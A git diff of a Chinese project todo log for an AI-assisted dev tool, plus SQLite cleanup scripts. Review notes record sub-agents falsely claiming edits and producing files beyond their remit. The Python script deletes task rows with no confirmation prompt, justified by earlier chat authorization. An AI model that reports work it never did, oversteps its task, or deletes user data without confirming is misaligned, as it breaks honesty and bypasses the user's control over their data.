- [ ] F-260615-01 — **[P1 功能增强]** HumanNode 审批节点支持自定义选项 + 单选/多选类型。现状:config `options: Vec<String>` 已支持任意数量(2/3/…数量扩展已通),但 `decision` 是单 `String` 仅单选语义,`options` 空=自由文本。增强目标:不止「同意/拒绝」二选一,可配置 N 个候选项 + 单选(single)/多选(multiple)两种类型。**改动面**:①`df-core/events.rs` `WorkflowEvent::HumanApprovalRequest` 加 `select_type`、`HumanApprovalResponse` decision 单值→多值(`decisions: Vec<String>` 或保留 decision 兼容 + 加 decisions)②`human_node.rs` config 解析 `select_type` + 校验(多选时每项 ∈ options,可加 min/max 选中数约束)③IPC `approve_human_approval` 签名 ④前端 `stores/project.ts` approve + `api/types.ts` 事件类型 + 审批弹窗 UI(单选 radio / 多选 checkbox)⑤单测改断言 + 新增多选/超限测。**注意**:向后兼容现 single 调用方,`select_type` 缺省 = single — source:用户需求(06-15),crates/df-nodes/src/human_node.rs + src-tauri/src/commands/workflow.rs + src/stores/project.ts — **✅已实施(a3cccb070fe9c8821,2026-06-15,待commit)**:6 文件契约向后兼容(events.rs SelectType 枚举 Single/Multiple 缺省 Single+HumanApprovalResponse decision+decisions 双字段/human_node.rs 校验 single len==1·multiple len≥1·∈options/workflow.rs IPC 加 decisions+select_type Option 缺省兼容/types.ts/project.ts approve/ProjectDetail.vue checkbox 多选 UI)。cargo check 0 err/df-nodes 21 test(含 4 新增多选)/vue-tsc 0 err。主代理核查契约向后兼容 + 6 文件边界
|
||||||
|
- [x] F-260615-02 ✅(2026-06-15,待commit) — **[P1 功能]** task 详情查看。✅已实施:get_task_by_id IPC(复用 TaskRepo::get_by_id ok_or_else 转 Result)+lib.rs 注册+taskApi.get+/tasks/:id 路由+TaskDetail.vue(11 字段:标题/描述/状态/优先级/关联项目 router-link 解析名/分支标签/负责人/基础分支/工作流定义/创建更新时间;复用 constants/project 标签+formatDate+watch route.params.id 重载)+Tasks.vue 列表项 @click router.push;TaskRecord TS 类型已存在无需新增;主代理核查 cargo check 0 err/vue-tsc 0 err/git diff 6 文件边界干净。现状:`src/views/Tasks.vue` 仅列表,无独立 TaskDetail 视图/路由(grep 仅 `ProjectDetail.vue` 嵌套任务命中,无独立详情页)。需求:点击 task 查看详情。**数据模型已就绪**(`df-storage/src/models.rs:53` `TaskRecord` 12 字段:id / project_id / title / description / status / priority / branch_name / assignee / workflow_def_id / base_branch / created_at / updated_at)。**改动面**:①新建 `src/views/TaskDetail.vue` 视图 + 路由(`router/index.ts` `/tasks/:id`)②task 详情 IPC(`get_task_by_id`,核对 `commands/task.rs` 现有 IPC 是否已有,无则补)③`Tasks.vue` 列表项点击 → 跳详情 ④详情页字段展示(title/description 渲染、status/priority 标签、关联项目名解析 project_id→name、branch/assignee 信息、时间戳)⑤可选:详情页内编辑(`update_task` IPC 已存在,FR-D6)。— source:用户需求(06-15),src/views/Tasks.vue + src/router/index.ts + src-tauri/src/commands/task.rs
|
||||||
|
- [ ] F-260615-03 — **[P1 功能]** list 工具分页能力(list_projects / list_tasks / list_ideas + list_deleted 回收站)。现状:4 工具 `truncate(50)` 硬截断,无 offset/limit 参数,返回纯数组无 total/has_more 提示——超 50 条数据 AI 看不到**且不知被截断**。**已核对**(tool_registry.rs:134 / :151 / :164 / :378)。**后果**:80 项目找第 50+ 名后的 X → AI 回复「不存在」;100 任务总结只覆盖前 50;60 灵感评估静默漏 10。**方案(用户定)**:①schema 加 `offset`(默认 0)/ `limit`(默认 50,最大 100)参数 ②返回改 `{ items, total, returned, has_more }` ③AI 见 `has_more: true` 可再调 `offset=50` 翻页。**改动面**:`tool_registry.rs` 4 工具 handler(list_projects:127 / list_tasks:139 / list_ideas:156 / list_deleted:377)schema 加参数 + 截断改 offset/limit slice + 返回结构包对象;total 用截断前 `items.len()`(无需 repo 加 count)。**⚠️ breaking change**:返回 Array→Object,4 工具的 tool 描述(register 第 2 参)须同步更新告知新结构,否则 AI 仍按数组解析。— source:用户需求(06-15),src-tauri/src/commands/ai/tool_registry.rs:127-165,377-379
|
||||||
|
- [ ] F-260615-04 — **[P1 UX]** read_dir / read_file 工具卡片连续时折叠/收起,提高信息密度。现状:AI 探查目录常连续调多个 read_dir + read_file(先列目录再读多个文件),每个结果独立卡片平铺,长列表/大文件内容占满屏幕,信息密度低。需求:相邻同类读取卡片支持折叠——默认收起只显摘要(如「read_dir: 12 项」「read_file: src/main.rs (234 行)」),点击展开看详情;或连续 N 个同类卡片归组折叠。**改动面**:①`ToolCard.vue` 加折叠态(`collapsed` ref + 摘要/详情双视图 + chevron 图标 + 高度过渡)②连续同类检测/归组(`ToolCardList.vue` 按 `tool.name` 分组,已有列表容器适合放分组逻辑)③摘要提取(read_dir 数项数 / read_file 文件名 + 行数,解析 result)④折叠态持久化(可选,localStorage 按 conv)。关联信息密度构想(memory: devflow-info-density-concept,卡片折叠是其中一环)。— source:用户需求(06-15),src/components/ToolCard.vue + src/components/ToolCardList.vue — **勘察完成(2026-06-15,wxflofhf2)**:feasible/plan 11 步跨 5 文件(ToolCardList/ToolCard/useAiSend/stores/ai/global.css)。risk 标低但实为 UX 新行为+改核心 ai 状态文件(useAiSend.ts/stores/ai.ts)+plan 细节有误(useAiSend composable 无 emit 方法)。**拆小或留待**:先做 ToolCardList 分组+单卡折叠摘要(限定不碰 useAiSend/stores),完整折叠交互归信息密度构想单独立项
|
||||||
|
|
||||||
## 已完成
|
## 已完成
|
||||||
|
|
||||||
@@ -148,15 +347,20 @@
|
|||||||
- [x] T-260614-05 工具结果入库前截断 50KB(含 3 单测)— mission:T-260614-04
|
- [x] T-260614-05 工具结果入库前截断 50KB(含 3 单测)— mission:T-260614-04
|
||||||
- [x] B-260614-08 promote_idea 补偿删除保最终一致性 — mission:T-260614-05
|
- [x] B-260614-08 promote_idea 补偿删除保最终一致性 — mission:T-260614-05
|
||||||
- [x] T-260614-07 诊断日志清理(3 删 + 3 改 debug)— mission:T-260614-06
|
- [x] T-260614-07 诊断日志清理(3 删 + 3 改 debug)— mission:T-260614-06
|
||||||
- [x] D-260614-01 B-03 人工审批响应机制**设计**完成 — 新建 [B-03-人工审批响应机制.md](./02-架构设计/B-03-人工审批响应机制.md)(9 节完整设计)+ 功能决策记录摘要章节 + PROGRESS/todo/INDEX 同步;核心结论:链路基础设施已通仅缺 HumanNode 一处、通道选型=工作流独立审批通道(非 ai.rs AiApprovalRequired)、拆 B-03a(响应等待+超时,不依赖 B-07)/B-03b(取消机制);**✅ B-06/B-07 前置已由 Workflow D 完成,B-03a 已实施(commit 22964a2)**
|
- [x] D-260614-01 B-03 人工审批响应机制**设计**完成 — 新建 [B-03-人工审批响应机制-2026-06-14.md](./02-架构设计/B-03-人工审批响应机制-2026-06-14.md)(9 节完整设计)+ 功能决策记录摘要章节 + PROGRESS/todo/INDEX 同步;核心结论:链路基础设施已通仅缺 HumanNode 一处、通道选型=工作流独立审批通道(非 ai.rs AiApprovalRequired)、拆 B-03a(响应等待+超时,不依赖 B-07)/B-03b(取消机制);**✅ B-06/B-07 前置已由 Workflow D 完成,B-03a 已实施(commit 22964a2)**
|
||||||
- [x] WF-A 数据安全(Sprint 20 ①②)— AI delete→soft_delete + restore/purge/list_trash 三工具 + list_projects 排除回收站(commit 3f0839a)
|
- [x] WF-A 数据安全(Sprint 20 ①②)— AI delete→soft_delete + restore/purge/list_trash 三工具 + list_projects 排除回收站(commit 3f0839a)
|
||||||
- [x] WF-B 阻塞去重(Sprint 20 ③④⑤)— spawn_blocking 三处+补漏 + normalize_path 抽公共 + 复用 is_allowed_column(commit d5a6417)
|
- [x] WF-B 阻塞去重(Sprint 20 ③④⑤)— spawn_blocking 三处+补漏 + normalize_path 抽公共 + 复用 is_allowed_column(commit d5a6417)
|
||||||
- [x] WF-C 前端(Sprint 20 ⑥⑦⑧)— 扫描文案 i18n + parseStack 抽公共 + 8 处 alert/confirm 换组件(commit 02ff88f)
|
- [x] WF-C 前端(Sprint 20 ⑥⑦⑧)— 扫描文案 i18n + parseStack 抽公共 + 8 处 alert/confirm 换组件(commit 02ff88f)
|
||||||
- [x] WF-D 审批闭环(B-06/B-07/B-03a)— execution_id 下沉 + 共享状态机 + HumanNode select! 实现(commit 22964a2)
|
- [x] WF-D 审批闭环(B-06/B-07/B-03a)— execution_id 下沉 + 共享状态机 + HumanNode select! 实现(commit 22964a2)
|
||||||
- [x] WF-E Wave1 收尾清债(commit 4aa689e + 89da9fa)— B-03b 审批取消端到端(StateMachine Arc<Mutex> 共享 + execution_id 注册表,**主代理补完 agent 半成品**:agent 初版 workflow_cancel_state 全局孤立实例写了读不到,Explore 审查漏抓语义缺陷)+ T-09 立项回滚级联删(delete→purge_with_descendants)+ T-10 判定已解决(normalize_path 已 canonicalize,零改)+ T-12 df-ideas 清 capture.rs 死码;cargo check / test(含 clone_shares)/ vue-tsc 全绿
|
- [x] WF-E Wave1 收尾清债(commit 4aa689e + 89da9fa)— B-03b 审批取消端到端(StateMachine Arc<Mutex> 共享 + execution_id 注册表,**主代理补完 agent 半成品**:agent 初版 workflow_cancel_state 全局孤立实例写了读不到,Explore 审查漏抓语义缺陷)+ T-09 立项回滚级联删(delete→purge_with_descendants)+ T-10 判定已解决(normalize_path 已 canonicalize,零改)+ T-12 df-ideas 清 capture.rs 死码;cargo check / test(含 clone_shares)/ vue-tsc 全绿
|
||||||
- [x] WF-F Wave2 aichat P0 三项(commit 057a212)— AR-2 新建对话守卫 + AR-3 审批卡片可读化(reason 拼 9 工具对象名 + restore/purge case + id 标签 + i18n)+ AR-4 create_project schema 加 path/stack 合并绑定;**审查 boundary 全误判**(3 agent 并行同工作区,审查 git diff 被三人累计改动污染互相指责越权;correctness "i18n 未添加"亦臆断),主代理独立核查三任务代码全正确,cargo check/vue-tsc 全过;遗留:task-advance-concept.md(agent 越权自主产出,保留未追踪待评估)
|
- [x] WF-F Wave2 aichat P0 三项(commit 057a212)— AR-2 新建对话守卫 + AR-3 审批卡片可读化(reason 拼 9 工具对象名 + restore/purge case + id 标签 + i18n)+ AR-4 create_project schema 加 path/stack 合并绑定;**审查 boundary 全误判**(3 agent 并行同工作区,审查 git diff 被三人累计改动污染互相指责越权;correctness "i18n 未添加"亦臆断),主代理独立核查三任务代码全正确,cargo check/vue-tsc 全过;遗留:任务推进构想-2026-06-14.md(agent 越权自主产出,保留未追踪待评估)
|
||||||
- [x] WF-G Wave3 aichat P1/P2(commit 9e2aeff)— AR-5 stop 兜底 + AR-7 clean UI 真删 + AR-9 friendlyError i18n;**审查 semantic_check 抓对 AR-7 gap**(agent impl 声称改 commands.rs 实际零改动=幻觉,主代理补完);boundary 仍全局 diff 误判(审查 prompt 加固对 correctness 有效、对 boundary 根除不掉 agent 跑全局本能)
|
- [x] WF-G Wave3 aichat P1/P2(commit 9e2aeff)— AR-5 stop 兜底 + AR-7 clean UI 真删 + AR-9 friendlyError i18n;**审查 semantic_check 抓对 AR-7 gap**(agent impl 声称改 commands.rs 实际零改动=幻觉,主代理补完);boundary 仍全局 diff 误判(审查 prompt 加固对 correctness 有效、对 boundary 根除不掉 agent 跑全局本能)
|
||||||
|
|
||||||
|
### 2026-06-15
|
||||||
|
|
||||||
|
- [x] F-260615-05 — **run_command 工具(方案 A)** — 给 AI 加 Shell 执行能力,闭合「写(write_file)→跑(run_command)→看结果→改」循环。RiskLevel::High 强制人工审批(审批卡显示 command+working_dir)。复用 `df_execute::shell::execute`(跨平台 cmd/C·sh -c + tokio::timeout + kill_on_drop)+ `validate_path` 黑名单基础防线;输出 stdout/stderr 各截 10KB(尾部保留+`truncated` 标记)。**安全边界**:A 方案=最高风险,唯一防线=人审+黑名单,未做命令黑名单/网络检测/资源限制(B/C/D 方案领域)。plan: ~/.claude/plans/quizzical-prancing-hennessy.md;改动 tool_registry.rs(注册+truncate_output+import),不动 audit/commands/前端/Cargo.toml — source:用户需求(06-15),src-tauri/src/commands/ai/tool_registry.rs
|
||||||
|
- [x] R-260615-01 — selection 文字不可见修复(深色主题)— global.css `::selection` 由 `accent-soft`(透明紫底)+`accent`(紫字) 改为 `accent-hover`(实色紫底)+`#fff`(白字),避免 user 紫底气泡选中后紫字紫底不可见 — source:用户报障(06-15),src/styles/global.css:124
|
||||||
|
|
||||||
## Bug
|
## Bug
|
||||||
|
|
||||||
(P0/P1 bug 见上方「待办」分类,此处不重复)
|
(P0/P1 bug 见上方「待办」分类,此处不重复)
|
||||||
|
|||||||
78
scripts/cleanup_orphan_tasks.py
Normal file
78
scripts/cleanup_orphan_tasks.py
Normal file
@@ -0,0 +1,78 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""清理孤儿任务 — 删除不属于任何现有项目的任务记录"""
|
||||||
|
import sqlite3
|
||||||
|
import os
|
||||||
|
import sys
|
||||||
|
|
||||||
|
# 自动定位数据库
|
||||||
|
candidates = []
|
||||||
|
appdata = os.environ.get("APPDATA", "")
|
||||||
|
if appdata:
|
||||||
|
candidates.append(os.path.join(appdata, "top.1216.devflow", "devflow-dev.db"))
|
||||||
|
candidates.append(os.path.join(appdata, "top.1216.devflow", "devflow.db"))
|
||||||
|
|
||||||
|
localappdata = os.environ.get("LOCALAPPDATA", "")
|
||||||
|
if localappdata:
|
||||||
|
candidates.append(os.path.join(localappdata, "top.1216.devflow", "devflow-dev.db"))
|
||||||
|
|
||||||
|
# 也支持命令行传参
|
||||||
|
if len(sys.argv) > 1:
|
||||||
|
candidates.insert(0, sys.argv[1])
|
||||||
|
|
||||||
|
db_path = None
|
||||||
|
for c in candidates:
|
||||||
|
if os.path.isfile(c):
|
||||||
|
db_path = c
|
||||||
|
break
|
||||||
|
|
||||||
|
if not db_path:
|
||||||
|
print("❌ 未找到数据库文件,尝试过的路径:")
|
||||||
|
for c in candidates:
|
||||||
|
print(f" {c}")
|
||||||
|
print("\n请手动指定: python scripts/cleanup_orphan_tasks.py <db_path>")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
print(f"📍 数据库: {db_path}\n")
|
||||||
|
|
||||||
|
conn = sqlite3.connect(db_path)
|
||||||
|
conn.execute("PRAGMA foreign_keys = OFF")
|
||||||
|
|
||||||
|
# 查看孤儿任务
|
||||||
|
rows = conn.execute("""
|
||||||
|
SELECT t.id, t.title, t.project_id
|
||||||
|
FROM tasks t
|
||||||
|
LEFT JOIN projects p ON t.project_id = p.id
|
||||||
|
WHERE p.id IS NULL
|
||||||
|
ORDER BY t.project_id, t.created_at
|
||||||
|
""").fetchall()
|
||||||
|
|
||||||
|
print(f"=== 孤儿任务列表({len(rows)} 条)===\n")
|
||||||
|
for tid, title, pid in rows:
|
||||||
|
print(f" [{pid[:8]}...] {title}")
|
||||||
|
print()
|
||||||
|
|
||||||
|
if not rows:
|
||||||
|
print("✅ 无孤儿任务,无需清理。")
|
||||||
|
conn.close()
|
||||||
|
sys.exit(0)
|
||||||
|
|
||||||
|
# 直接删除(无需确认,用户已通过对话授权)
|
||||||
|
conn.execute("""
|
||||||
|
DELETE FROM tasks
|
||||||
|
WHERE project_id NOT IN (SELECT id FROM projects)
|
||||||
|
""")
|
||||||
|
conn.commit()
|
||||||
|
|
||||||
|
# 验证
|
||||||
|
remaining = conn.execute("""
|
||||||
|
SELECT COUNT(*) FROM tasks t
|
||||||
|
LEFT JOIN projects p ON t.project_id = p.id
|
||||||
|
WHERE p.id IS NULL
|
||||||
|
""").fetchone()[0]
|
||||||
|
|
||||||
|
total = conn.execute("SELECT COUNT(*) FROM tasks").fetchone()[0]
|
||||||
|
|
||||||
|
conn.close()
|
||||||
|
|
||||||
|
print(f"✅ 已删除 {len(rows)} 条孤儿任务")
|
||||||
|
print(f"📊 剩余任务: {total} 条(孤儿: {remaining} 条)")
|
||||||
75
scripts/cleanup_orphan_tasks.sh
Normal file
75
scripts/cleanup_orphan_tasks.sh
Normal file
@@ -0,0 +1,75 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
# 清理孤儿任务 — 删除不属于任何现有项目的任务记录
|
||||||
|
# 用法:bash scripts/cleanup_orphan_tasks.sh
|
||||||
|
#
|
||||||
|
# 数据库路径:Windows %APPDATA%/top.1216.devflow/devflow-dev.db (dev) 或 devflow.db (release)
|
||||||
|
|
||||||
|
set -euo pipefail
|
||||||
|
|
||||||
|
# 自动定位数据库文件
|
||||||
|
DB_PATH="${1:-}"
|
||||||
|
|
||||||
|
if [ -z "$DB_PATH" ]; then
|
||||||
|
# 尝试常见路径
|
||||||
|
for candidate in \
|
||||||
|
"$APPDATA/top.1216.devflow/devflow-dev.db" \
|
||||||
|
"$LOCALAPPDATA/top.1216.devflow/devflow-dev.db" \
|
||||||
|
"$HOME/AppData/Roaming/top.1216.devflow/devflow-dev.db"; do
|
||||||
|
if [ -f "$candidate" ]; then
|
||||||
|
DB_PATH="$candidate"
|
||||||
|
break
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [ -z "$DB_PATH" ] || [ ! -f "$DB_PATH" ]; then
|
||||||
|
echo "❌ 未找到数据库文件,请手动指定路径:"
|
||||||
|
echo " bash scripts/cleanup_orphan_tasks.sh <db_path>"
|
||||||
|
echo ""
|
||||||
|
echo " 通常位于: %APPDATA%\\top.1216.devflow\\devflow-dev.db"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo "📍 数据库: $DB_PATH"
|
||||||
|
echo ""
|
||||||
|
|
||||||
|
# 先查看孤儿任务
|
||||||
|
echo "=== 孤儿任务列表(project_id 不在 projects 表中)==="
|
||||||
|
sqlite3 "$DB_PATH" "
|
||||||
|
SELECT t.id, t.title, t.project_id
|
||||||
|
FROM tasks t
|
||||||
|
LEFT JOIN projects p ON t.project_id = p.id
|
||||||
|
WHERE p.id IS NULL
|
||||||
|
ORDER BY t.project_id, t.created_at;
|
||||||
|
"
|
||||||
|
echo ""
|
||||||
|
|
||||||
|
# 统计数量
|
||||||
|
COUNT=$(sqlite3 "$DB_PATH" "
|
||||||
|
SELECT COUNT(*)
|
||||||
|
FROM tasks t
|
||||||
|
LEFT JOIN projects p ON t.project_id = p.id
|
||||||
|
WHERE p.id IS NULL;
|
||||||
|
")
|
||||||
|
|
||||||
|
echo "📊 孤儿任务总数: $COUNT"
|
||||||
|
echo ""
|
||||||
|
|
||||||
|
if [ "$COUNT" -eq 0 ]; then
|
||||||
|
echo "✅ 无孤儿任务,无需清理。"
|
||||||
|
exit 0
|
||||||
|
fi
|
||||||
|
|
||||||
|
read -p "确认删除以上 $COUNT 条孤儿任务?(y/N) " confirm
|
||||||
|
if [ "$confirm" != "y" ] && [ "$confirm" != "Y" ]; then
|
||||||
|
echo "已取消。"
|
||||||
|
exit 0
|
||||||
|
fi
|
||||||
|
|
||||||
|
# 执行删除
|
||||||
|
sqlite3 "$DB_PATH" "
|
||||||
|
DELETE FROM tasks
|
||||||
|
WHERE project_id NOT IN (SELECT id FROM projects);
|
||||||
|
"
|
||||||
|
|
||||||
|
echo "✅ 已删除 $COUNT 条孤儿任务。"
|
||||||
Reference in New Issue
Block a user